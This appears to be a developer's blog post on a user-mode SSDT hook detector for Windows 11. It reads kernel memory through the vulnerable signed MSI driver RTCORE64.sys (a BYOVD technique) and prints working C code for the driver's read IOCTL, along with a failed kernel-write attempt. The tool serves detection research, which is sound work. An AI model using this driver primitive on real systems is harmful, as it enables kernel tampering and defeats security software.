Detecting SSDT Hook with User Mode Program via BYOVD
Introduction
Github Link: github.com/0xbekoo/SSDT-Hook-Detector
Welcome to my blog! Today we will dive into a little adventure…
Recently, I developed malware related to SSDT Hooking, but it’s not the kind of software that causes damage. The main goal of the malware is detecting the Hooked routines. However, my real goal was to develop malware that performs SSDT Unhooking in the first place. But after a few problems, i developed this project.
In this project i used a vulnerable driver to perform detection, which means that this malware can be used in the real scenarios. I am not encouraging illegal activity in any way.
Warning
This project has been developed solely for educational purposes. Its use in real-world scenarios is entirely at the user’s own risk. I am sharing this here solely for educational purposes. Don’t use this project in the real scenarios.
The Goal
My initial goal was to perform SSDT unhooking from user mode using a BYOVD approach. The idea was to take advantage of a vulnerable driver to gain the ability to write directly to kernel memory and restore the SSDT entries to their original state. In the driver, there was an IOCTL code specifically designed to write data to a given kernel address, so in theory, the process seemed straightforward:

When I first tried this, I ran into an ACCESS_VIOLATION error. At first, I thought it might be a driver or privilege issue, but it turned out the problem was simply that I had entered the wrong address. Once I corrected the address, the call went through without that error — but then I hit the real barrier: the target kernel pages were marked as read‑only.
Let’s select a kernel address and try writing some data:
kd> u kiservicetable + (091cd702 >>> 4) l1
nt!NtAcceptConnectPort:
fffff802`a22a5a20 4c8bdc mov r11,rsp
I will select this address. And here’s the result:

BOOOM! Ok we got the BSOD with 0xBE code. Let’s analyze it:

Like i said, these addresses are read-only memory and we can’t write any data in our case.
Issue in the Project
Since we check for hooked routines in the project by comparing the original bytes taken from the ntoskrnl.exe file with the bytes found in the live system (as explained in the Scanning Routine Opcodes section), certain complications naturally occur. In practice, some opcodes in the live routines may differ from those in the file on disk, which can cause the program to incorrectly flag them as “hooked routines.”. For example:
------------------------------------------------------------
Routine Address: 0xfffff802d9dda030
Offset (table entry): 0x4213800
Hooked: YES
Original bytes (16): 48 FF 25 E1 24 C5 FF CC CC CC CC CC CC CC CC CC
Live bytes (16): 4C 8B 15 E1 24 C5 FF E9 54 78 FC 90 CC CC CC CC
Differences at offsets: 0 1 2 7 8 9 10 11
------------------------------------------------------------
...
------------------------------------------------------------
Routine Address: 0xfffff802d9dd9b90
Offset (table entry): 0x420ee00
Hooked: YES
Original bytes (16): 48 FF 25 59 28 C5 FF CC CC CC CC CC CC CC CC CC
Live bytes (16): 4C 8B 15 59 28 C5 FF E9 C4 A2 FC 90 CC CC CC CC
Differences at offsets: 0 1 2 7 8 9 10 11
------------------------------------------------------------
These routines were not hooked by me, and since some opcodes are different, the program may detect them as hooked.
My Research
This project was tested on Windows 11 24H2.
After i released my SSDT Unhooking project, i started to develop this project in Userland. Since we can’t read or write any kernel address in userland, this objective is really challenging. But if we have any vulnerable driver, it’s really easy.
I started by researching BYOVD drivers and found a vulnerable driver called RTCORE64.sys. This driver belongs to the MSI Afterburner application.
This driver contains several IOCTL codes that malware could exploit, such as reading or writing the kernel address or reading or writing the MSR. Since this driver is signature, it can be loaded directly in Windows 11.
Reading Kernel Address
In the driver, we benefit from this IOCTL code:

This IOCTL reads the content of a kernel memory address provided by a user‑mode program. When the Options parameter is equal to 48, it calculates the target address by adding the base address stored in MasterIrp[2].HighPart to the offset in v6.QuadPart. The size of the read is determined by MasterIrp[3].LowPart, where a value of 1 reads a single byte, 2 reads a 2‑byte word, and 4 reads a 4‑byte double word. This exploit was used in several functions of the project, such as the opcodes of the kernel address, the members of SSDT etc.
Let’s create a project for this IOCTL:
#include <stdio.h>
#include <Windows.h>
#define RTCORE64_DEVICE_NAME "\\\\.\\RtCore64"
#define RTCORE64_MEMORY_READ_CODE 0x80002048
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_READ MemoryReadStructure = { 0 };
int main(void) {
HANDLE HandleDevice = CreateFileA(
RTCORE64_DEVICE_NAME,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (NULL == HandleDevice) {
printf("Failed to create device! Error Code: %lu\n", GetLastError());
return -1;
}
/* In this section, we initialize the structure and connect to the driver */
MemoryReadStructure.Address = (DWORD64)0x0;
MemoryReadStructure.ReadSize = 0x4;
DWORD BytesReturned = 0;
BOOLEAN Status = DeviceIoControl(
HandleDevice,
RTCORE64_MEMORY_READ_CODE,
&MemoryReadStructure,
sizeof(MemoryReadStructure),
&MemoryReadStructure,
sizeof(MemoryReadStructure),
&BytesReturned,
NULL
);
if (!Status) {
printf("Failed to open the device! Error Code: %lu\n", GetLastError());
return -1;
}
for (int x = 0; x < 4; x++) {
printf("%02X ", (MemoryReadStructure.Value >> (x * 8)) & 0xFF);
}
0;
}
The idea is simple: we create the definitions and structure, connect to the driver, and read the kernel address.
As a example, we can give the address of DbgPrintEx:
kd> u dbgprintex l1
nt!DbgPrintEx:
fffff805`e1ac9690 488bc4 mov rax,rsp
Load the driver and observe the result:

In the project, i used also this exploit to get the members of SSDT:
UINT64 LowPart, KiServiceTable = 0;
DWORD Value;
Status = ReadAddressLive((DWORD64)ServiceDescriptorTableAddr, 4, NULL, &LowPart);
if (!Status) {
MainStatus = -1;
goto Clean;
}
KiServiceTable = (ServiceDescriptorTableAddr & 0xffffffff00000000ULL) | LowPart;
ServiceDescriptorStruct.KiServiceTableAddress = KiServiceTable;
Status = ReadAddressLive((DWORD64)ServiceDescriptorTableAddr + 0x10, 4, &Value, NULL);
if (!Status) {
MainStatus = -1;
goto Clean;
}
ServiceDescriptorStruct.SSDTEntrySize = Value;
printf("\n[*] KeServiceDescriptorTable Address -> 0x%llx\n", ServiceDescriptorTableAddr);
printf("[*] KiServiceTable Address -> 0x%llx\n", ServiceDescriptorStruct.KiServiceTableAddress);
printf("[*] Entry Size -> 0x%lu\n\n", ServiceDescriptorStruct.SSDTEntrySize);
Since we can read just 4 bytes, we first retrieve the low 32 bits of the pointer and then reconstruct the full 64-bit address by combining it with the high 32 bits from the known base address. Before going into detail, let’s take a look at the output:

Also we can verify the result:

As we can see, the SSDT address is 0xfffff805ee0c18c0.
After the ReadAddressLive call, the output must be 0xee0c18c0 because it reads only the low 32 bits (LowPart) of the address. After that, we reconstruct the full 64‑bit address (0xfffff805ee0c18c0) by combining the known high 32 bits with the LowPart and then we get the address of KiServiceTable:
KiServiceTable = (ServiceDescriptorTableAddr & 0xffffffff00000000ULL) | LowPart;
This exploit is also used in ScanRoutines function to read 16-bytes:
BOOLEAN ScanRoutines(BYTE* OriginalOpcodes) {
BYTE liveOpcodes[OPCODE_CHECK_LEN] = { 0 };
BOOLEAN Status = TRUE;
// OPCODE_CHECK_LEN = 4, OPCODE_READ_CHUNK = 16
for (int offset = 0; offset < OPCODE_CHECK_LEN; offset += OPCODE_READ_CHUNK) {
if (!ReadAddressLive(
(DWORD64)RoutineInformation.RoutineAddress + offset,
OPCODE_READ_CHUNK,
&liveOpcodes[offset],
NULL))
{
// Keep the original behavior of signalling a read failure.
printf("[-] Failed to read opcode chunk at 0x%llx\n",
RoutineInformation.RoutineAddress + offset);
return FALSE;
}
}
...
In the loop, the 16-bytes of the routine are read. Like i said, since we can just read 4-bytes, we can do this just with a loop.
This exploit of the driver was used for these purpose in the project.
Calculating the address of KiSystemCall64
In fact, I chose a strange approach to calculate the address of KiSystemCall64. In the early stages of the project i was using a hardcoded value to calcula the address. However, this is never a sensible approach. For example, there’s a value which used to determine the address in SSDT Unhooking Project:
/* Calculate the address of KiSystemCall64 */
unsigned char KiSystemCall64Pattern[] = {0x0F, 0x01, 0xF8};
KiSystemCall64Shadow -= 0x4FBBBB;
KiSystemCall64 = FindThePattern((PVOID)KiSystemCall64Shadow, KiSystemCall64Pattern, 1024);
if (NULL == KiSystemCall64) {
DbgPrintEx(0, 0, "KiSystemCall64 was not found!\n");
return STATUS_NOT_FOUND;
}
DbgPrintEx(0, 0, "Calculated the address (KiSystemCall64): 0x%p\n", (PVOID)KiSystemCall64);
I used the opcode of the first instruction of KiSystemCall64 (and also in this project).
The result targets exactly this:
kd> u KiSystemCall64Shadow - 0x4FBBBB l3
nt!KiSystemServiceHandler+0x85:
fffff804`75c17645 c3 ret
fffff804`75c17646 f7410420000000 test dword ptr [rcx+4],20h
fffff804`75c1764d 75ed jne nt!KiSystemServiceHandler+0x7c (fffff804`75c1763c)
This corresponds to the function above KiSystemCall64. However, when I tried this in this project and ran the project on a clean Windows, I saw that it gave a different address. Then i decided to change this method.
If you check the codes, you can notice that it takes the address of ZwAccessCheckAndAuditAlarm:
ZwAccessCheckAndAuditAlarmAddress = GetExportedFunctionAddress(NtoskrnlPath, "ZwAccessCheckAndAuditAlarm", G_KernelAddress);
printf("[*] ZwAccessCheckAndAuditAlarmAddress Address: 0x%llx\n", (unsigned long long)ZwAccessCheckAndAuditAlarmAddress);
My new method is based on calculating the address with any routine address. The idea is simple: Get the any exported routine address which above KiSystemCall64 and calculate it. This will provide a great way dynamically for our goal. But for this, the routines address must be exported. Then i started to research the routines which above KiSystemCall64 and i found ZwAccessCheckAndAuditAlarm.
On Windows 11 24H2, the distance range for these two functions is 0x174E0:

Or:

What we want to do here is perform the calculation using a routine address instead of subtracting with a hardcoded address. This worked quite well for the two labs I tried. After this, the address is given to FindSpecificAddress function.
In the project, FindSpecificAddress was used for two purposes: get the addresses of SSDT and KiSystemCall64. From the function:
...
IMAGE_DOS_HEADER* DOS = (IMAGE_DOS_HEADER*)MappedNtoskrnlInfo.View;
IMAGE_NT_HEADERS64* NT = (IMAGE_NT_HEADERS64*)(MappedNtoskrnlInfo.View + DOS->e_lfanew);
// Calculate RVA of the address
DWORD RVA = (DWORD)(TargetAddress - (UINT64)G_KernelAddress);
// Find the section
IMAGE_SECTION_HEADER* targetSec = ImageRvaToSection(NT, MappedNtoskrnlInfo.View, RVA);
if (!targetSec) {
printf("[-] Failed to locate section\n");
goto Exit;
}
const BYTE* Pointer = MappedNtoskrnlInfo.View + targetSec->PointerToRawData + (RVA - targetSec->VirtualAddress);
Here we determine the section of the target address, which given as a parameter. ImageRvaToSection function finds out which PE section the given RVA (Relative Virtual Address) belongs to. The returned targetSec is an IMAGE_SECTION_HEADER structure. It contains information such as VirtualAddress, PointerToRawData, size of that section.
The Pointer variable is calculated by taking the base address of the mapped file (MappedNtoskrnlInfo.View), adding the section’s file offset (PointerToRawData), and then adding the RVA’s offset within that section (RVA - VirtualAddress). This gives us the exact memory address in the mapped file where the bytes corresponding to the given RVA are located.
After this we will be in a loop:
/* determine which occurrence we want:
KiSystemCall64Pattern -> 2nd occurrence, otherwise -> 1st occurrence */
int desiredMatch = memcmp(Opcodes, KiSystemCall64Pattern, sizeof(KiSystemCall64Pattern)) == 0 ? 2 : 1;
/* if nothing to search, skip */
if (SectionBytesAvailable >= PatternSize) {
/* search up to the last possible start position for Pattern */
int maxStart = (int)(SectionBytesAvailable - PatternSize);
for (int x = 0; x <= maxStart; x++) {
const BYTE* cur = Pointer + x;
if (!memcmp(cur, Opcodes, PatternSize)) {
/* If the searched pattern is KiSystemCall64Pattern, do an additional check for nextPattern */
if (memcmp(Opcodes, KiSystemCall64Pattern, sizeof(KiSystemCall64Pattern)) == 0) {
if (x + PatternSize + (int)sizeof(NextPattern) - 1 > maxStart + PatternSize - 1) {
continue;
}
if (memcmp(cur + PatternSize, NextPattern, sizeof(NextPattern)) != 0) {
/* false match for KiSystemCall64Pattern, keep searching */
continue;
}
}
MatchCount++;
if (MatchCount == desiredMatch) {
Off = x;
break;
}
}
}
}
Don’t worry this loop is really simple.
When I used the ZwAccessCheckAndAuditAlarm address, I noticed that I received a different address for the KiSystemCall64 address again. This is not because the method is incorrect, but because it is related to the opcode. With the opcodes, we target this section:
kd> u nt!KiSystemCall64 l1
nt!KiSystemCall64:
fffff802`d9f92b40 0f01f8 swapgs
Since we target these opcodes (0x0F, 0x01, 0xF8), if swapgs is detected within a different routine during the loop, it will return that address. Therefore, this is precisely our problem. When i returned to IDA, i saw that there is swapgs instruction in NtContinueEx routine. From 0x1406A4B83 address:

This function is between ZwAccessCheckAndAuditAlarm and KiSystemCall64. So we pass this section in the loop.
Because it is located between ZwAccessCheckAndAuditAlarm and KiSystemCall64, the first match found during the scan would often point there instead of the real target. By selecting the second occurrence, the loop avoids this false positive.
The scan proceeds through the section, comparing each position against the given pattern. When the pattern is KiSystemCall64Pattern, an additional check is performed to ensure that the NextPattern sequence immediately follows it:
if (!memcmp(cur, Opcodes, PatternSize)) {
/* If the searched pattern is KiSystemCall64Pattern, do an additional check for nextPattern */
if (memcmp(Opcodes, KiSystemCall64Pattern, sizeof(KiSystemCall64Pattern)) == 0) {
if (x + PatternSize + (int)sizeof(NextPattern) - 1 > maxStart + PatternSize - 1) {
continue;
}
if (memcmp(cur + PatternSize, NextPattern, sizeof(NextPattern)) != 0) {
/* false match for KiSystemCall64Pattern, keep searching */
continue;
}
}
...
If this secondary pattern is missing, the match is discarded and the search continues. Once the required occurrence is reached and validated, the offset is recorded. So that we give the address. Here’re patterns:
/* Opcodes */
BYTE KiSystemCall64Pattern[] = { 0x0F, 0x01, 0xF8 };
/* This pattern will be used to verify the address of KiSystemCall64 */
BYTE NextPattern[] = { 0x65, 0x48, 0x89 };
Scanning Opcodes of Routines
Ok we’re right in the heart of the project.
There’s a loop in main function:
for (DWORD x = 0; x < ServiceDescriptorStruct.SSDTEntrySize; x++) {
DWORD Offset = 0;
DWORD64 EntryAddr = ServiceDescriptorStruct.KiServiceTableAddress + 4 * x;
// Call ReadAddressLive to read a DWORD from the table
Status = ReadAddressLive(EntryAddr, sizeof(DWORD), &Offset, NULL);
if (!Status) {
printf("[-] Failed to read SSDT entry at index %lu\n", x);
continue;
}
RoutineInformation.RoutineAddress = (UINT64)ServiceDescriptorStruct.KiServiceTableAddress + (Offset >> 4);
RoutineInformation.Offset = (DWORD)Offset;
/* We need to get the original bytes from ntoskrnl.exe */
BYTE* OriginalByte = GetBytesFromNtoskrnl(NtoskrnlPath, RoutineInformation.RoutineAddress, G_KernelAddress, &OffClean, SecClean);
if (!OriginalByte) {
printf("Failed to read the original bytes from ntoskrnl.exe!\n");
return -1;
}
Status = ScanRoutines((BYTE*)OriginalByte);
if (TRUE == RoutineInformation.IsHookedRoutine) {
Counter += 1;
}
RoutineInformation.IsHookedRoutine = FALSE;
}
Firstly, i needed the original bytes of each routine to detect any hooked routine. For this i benefited from ntoskrnl.exe on the disk. This will be used for comparison with live opcodes provided through the exploit.
After retrieving the SSDT members, we calculate the address of each routine and obtain the routine’s live opcodes. After that the opcodes and offsets are transferred to the structure.
With GetBytesFromNtoskrnl we get original opcodes, then we pass these opcodes to ScanRoutines function:
BOOLEAN ScanRoutines(BYTE* OriginalOpcodes) {
BYTE liveOpcodes[OPCODE_CHECK_LEN] = { 0 };
BOOLEAN Status = TRUE;
for (int offset = 0; offset < OPCODE_CHECK_LEN; offset += OPCODE_READ_CHUNK) {
if (!ReadAddressLive(
(DWORD64)RoutineInformation.RoutineAddress + offset,
OPCODE_READ_CHUNK,
&liveOpcodes[offset],
NULL))
{
printf("[-] Failed to read opcode chunk at 0x%llx\n",
RoutineInformation.RoutineAddress + offset);
return FALSE;
}
}
RoutineInformation.IsHookedRoutine = FALSE;
for (int x = 0; x < OPCODE_CHECK_LEN; x++) {
if (liveOpcodes[x] != OriginalOpcodes[x]) {
RoutineInformation.IsHookedRoutine = TRUE;
break;
}
}
We already saw the first section in Reading the Kernel Address header. After reading the 16-byte routine in a loop, we compare it with the original bytes. If there is any different opcode, the IsHookedRoutine flag is set to TRUE. Then we exit the function by writing the result to a .txt file.
Executing the Project
Let’s execute the project:
In the video, I’m running the project on a clean Windows. Now let’s go back to the Windows system attached to WinDBG and change the opcodes of any routine and see the result:

As a example, i changed the opcodes of NtAccectConnectPort with a jump instruction. Let’s execute the project again and see the result:

That’s all!
Conclusion
In this project, I introduced the SSDT Hook Detector, a user-mode tool designed to detect hooked routines in the System Service Descriptor Table on Windows. The project uses a vulnerable driver to read kernel memory and compares live SSDT entries with the original bytes from ntoskrnl.exe to identify any modifications.